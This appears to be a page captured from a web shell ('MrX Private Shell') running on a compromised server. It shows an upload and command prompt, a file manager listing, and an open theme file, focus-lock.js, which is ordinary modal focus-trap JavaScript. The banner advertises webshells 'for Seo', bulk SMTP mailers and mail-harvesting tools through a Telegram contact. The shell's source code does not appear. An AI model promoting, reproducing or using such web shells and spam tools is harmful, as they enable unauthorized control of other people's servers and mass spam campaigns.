__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { getCurrentScreen } from '../helpers/current-screen'
import { isTouchDevice } from '../helpers/is-touch-device'

// Maybe try to check focus with :has(:focus) instead of document.activeElement.

const tabbables = [
	'button:enabled:not([readonly])',
	'select:enabled:not([readonly])',
	'textarea:enabled:not([readonly])',

	// Exclude hidden inputs as they are not part of the tab order
	// and can cause focus to escape the modal when they are the last element
	'input:enabled:not([readonly]):not([type="hidden"])',

	'a[href]',
	'area[href]',

	'iframe',
	'object',
	'embed',

	'[tabindex]',
	'[contenteditable]',
	'[autofocus]',
]

let lockedElement = null

const handleKeydown = (e) => {
	if (!lockedElement) {
		return
	}

	let focusableEls = [...lockedElement.querySelectorAll(tabbables.join(','))]

	if (
		lockedElement.querySelector('[data-device="mobile"]') &&
		getCurrentScreen() !== 'mobile'
	) {
		focusableEls = focusableEls.filter(
			(el) => !el.closest('[data-device="mobile"]')
		)
	}

	const firstFocusableEl = focusableEls[0]
	const lastFocusableEl = focusableEls[focusableEls.length - 1]

	if (e.key !== 'Tab' && e.keyCode !== 9) {
		return
	}

	let isElFocusable = focusableEls.includes(document.activeElement)

	// Firefox will make scrollable elements focusable, even if those are not
	// tabbable usually.
	if (
		lockedElement.contains(document.activeElement) &&
		document.activeElement.scrollHeight >
			document.activeElement.clientHeight
	) {
		isElFocusable = true
	}

	if (!isElFocusable) {
		firstFocusableEl.focus()
		e.preventDefault()
	}

	if (e.shiftKey) {
		if (document.activeElement === firstFocusableEl) {
			lastFocusableEl.focus()
			e.preventDefault()
		}
	} else {
		if (document.activeElement === lastFocusableEl) {
			firstFocusableEl.focus()
			e.preventDefault()
		}
	}
}

const focusLockOn = (element, settings = {}) => {
	settings = {
		focusOnMount: true,
		...settings,
	}

	if (lockedElement && lockedElement !== element) {
		return
	}

	const focusableEls = element.querySelectorAll(tabbables.join(','))

	if (focusableEls.length === 0) {
		return
	}

	lockedElement = element
	document.addEventListener('keydown', handleKeydown)

	if (settings.focusOnMount && !isTouchDevice()) {
		setTimeout(() => {
			focusableEls[0].focus()
		}, 200)
	}
}

const focusLockOff = (element) => {
	element.removeEventListener('keydown', handleKeydown)
	lockedElement = null
}

export const focusLockManager = () => {
	if (window.ctFrontend && window.ctFrontend.focusLockManager) {
		return window.ctFrontend.focusLockManager
	}

	window.ctFrontend = window.ctFrontend || {}

	window.ctFrontend.focusLockManager = {
		focusLockOn,
		focusLockOff,
	}

	return window.ctFrontend.focusLockManager
}

Filemanager

Name Type Size Permission Actions
current-screen.js File 582 B 0640
focus-lock.js File 2.68 KB 0640
get-scalar-or-callback.js File 175 B 0640
is-ios-device.js File 260 B 0640
is-modal-trigger.js File 325 B 0640
is-touch-device.js File 129 B 0640
make-deferred.js File 193 B 0640
video.js File 4.11 KB 0640
when-transition-ends.js File 752 B 0640
Filemanager